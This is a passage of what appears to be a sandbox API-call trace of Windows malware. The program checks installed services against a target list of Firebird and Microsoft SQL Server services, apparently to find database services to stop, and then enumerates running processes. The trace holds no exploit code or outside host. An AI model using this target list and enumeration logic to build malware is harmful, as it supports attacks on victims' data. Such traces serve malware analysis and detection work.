(lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0250.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0250.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0250.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0250.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0250.392] lstrlenW (lpString="Dnscache") returned 8 [0250.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0250.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0250.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0250.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0250.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0250.392] lstrlenW (lpString="DPS") returned 3 [0250.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0250.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0250.393] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0250.393] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0250.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0250.393] lstrlenW (lpString="DusmSvc") returned 7 [0250.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0250.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0250.393] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0250.393] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0250.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0250.393] lstrlenW (lpString="EventLog") returned 8 [0250.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0250.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0250.393] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0250.393] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0250.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0250.393] lstrlenW (lpString="EventSystem") returned 11 [0250.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0250.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0250.393] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0250.393] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0250.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0250.393] lstrlenW (lpString="FontCache") returned 9 [0250.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0250.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0250.393] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0250.393] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0250.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0250.394] lstrlenW (lpString="gpsvc") returned 5 [0250.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0250.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0250.394] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0250.394] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0250.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0250.394] lstrlenW (lpString="iphlpsvc") returned 8 [0250.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0250.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0250.394] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0250.394] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0250.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0250.394] lstrlenW (lpString="KeyIso") returned 6 [0250.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0250.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0250.394] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0250.394] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0250.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0250.394] lstrlenW (lpString="LanmanServer") returned 12 [0250.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0250.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0250.394] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0250.394] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0250.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0250.394] lstrlenW (lpString="LanmanWorkstation") returned 17 [0250.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0250.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0250.394] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0250.394] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0250.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0250.395] lstrlenW (lpString="lfsvc") returned 5 [0250.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0250.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0250.395] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0250.395] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0250.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0250.395] lstrlenW (lpString="lmhosts") returned 7 [0250.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0250.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0250.395] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0250.395] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0250.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0250.395] lstrlenW (lpString="LSM") returned 3 [0250.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0250.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0250.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0250.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0250.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0250.395] lstrlenW (lpString="MpsSvc") returned 6 [0250.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0250.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0250.395] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0250.395] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0250.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0250.395] lstrlenW (lpString="NcbService") returned 10 [0250.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0250.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0250.395] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0250.395] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0250.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0250.395] lstrlenW (lpString="netprofm") returned 8 [0250.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0250.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0250.395] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0250.395] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0250.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0250.395] lstrlenW (lpString="NgcSvc") returned 6 [0250.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0250.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0250.396] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0250.396] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0250.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0250.396] lstrlenW (lpString="NlaSvc") returned 6 [0250.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0250.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0250.396] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0250.396] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0250.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0250.396] lstrlenW (lpString="nsi") returned 3 [0250.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0250.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0250.396] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0250.396] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0250.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0250.396] lstrlenW (lpString="PcaSvc") returned 6 [0250.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0250.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0250.396] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0250.396] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0250.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0250.396] lstrlenW (lpString="PlugPlay") returned 8 [0250.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0250.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0250.396] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0250.396] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0250.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0250.396] lstrlenW (lpString="Power") returned 5 [0250.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0250.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0250.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0250.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0250.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0250.397] lstrlenW (lpString="ProfSvc") returned 7 [0250.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0250.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0250.397] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0250.397] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0250.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0250.397] lstrlenW (lpString="RpcEptMapper") returned 12 [0250.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0250.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0250.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0250.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0250.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0250.397] lstrlenW (lpString="RpcSs") returned 5 [0250.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0250.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0250.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0250.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0250.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0250.397] lstrlenW (lpString="SamSs") returned 5 [0250.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0250.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0250.397] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0250.397] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0250.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0250.397] lstrlenW (lpString="Schedule") returned 8 [0250.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0250.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0250.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0250.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0250.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0250.397] lstrlenW (lpString="SecurityHealthService") returned 21 [0250.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0250.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0250.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0250.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0250.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0250.398] lstrlenW (lpString="SENS") returned 4 [0250.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0250.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0250.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0250.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0250.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0250.398] lstrlenW (lpString="ShellHWDetection") returned 16 [0250.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0250.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0250.398] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0250.398] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0250.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0250.398] lstrlenW (lpString="Spooler") returned 7 [0250.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0250.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0250.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0250.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0250.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0250.398] lstrlenW (lpString="StateRepository") returned 15 [0250.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0250.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0250.398] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0250.398] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0250.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0250.398] lstrlenW (lpString="SysMain") returned 7 [0250.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0250.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0250.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0250.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0250.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0250.399] lstrlenW (lpString="SystemEventsBroker") returned 18 [0250.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0250.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0250.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0250.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0250.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0250.399] lstrlenW (lpString="Themes") returned 6 [0250.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0250.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0250.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0250.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0250.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0250.399] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0250.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0250.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0250.399] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0250.399] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0250.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5c50 | out: hHeap=0x630000) returned 1 [0250.399] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1280 [0250.425] Process32FirstW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.426] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.427] lstrlenW (lpString="System") returned 6 [0250.427] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0250.428] lstrlenW (lpString="smss.exe") returned 8 [0250.428] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.429] lstrlenW (lpString="csrss.exe") returned 9 [0250.429] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0250.430] lstrlenW (lpString="wininit.exe") returned 11 [0250.430] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.431] lstrlenW (lpString="csrss.exe") returned 9 [0250.431] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0250.432] lstrlenW (lpString="winlogon.exe") returned 12 [0250.432] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0250.433] lstrlenW (lpString="services.exe") returned 12 [0250.433] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0250.434] lstrlenW (lpString="lsass.exe") returned 9 [0250.434] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0250.435] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0250.435] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0250.436] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0250.436] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.437] lstrlenW (lpString="svchost.exe") returned 11 [0250.437] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.438] lstrlenW (lpString="svchost.exe") returned 11 [0250.438] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0250.439] lstrlenW (lpString="dwm.exe") returned 7 [0250.439] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.440] lstrlenW (lpString="svchost.exe") returned 11 [0250.440] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.441] lstrlenW (lpString="svchost.exe") returned 11 [0250.441] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.451] lstrlenW (lpString="svchost.exe") returned 11 [0250.451] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.452] lstrlenW (lpString="svchost.exe") returned 11 [0250.452] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.456] lstrlenW (lpString="svchost.exe") returned 11 [0250.456] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.457] lstrlenW (lpString="svchost.exe") returned 11 [0250.457] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.458] lstrlenW (lpString="svchost.exe") returned 11 [0250.458] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.459] lstrlenW (lpString="svchost.exe") returned 11 [0250.459] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.460] lstrlenW (lpString="svchost.exe") returned 11 [0250.460] Process32NextW (in: hSnapshot=0x1280, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, 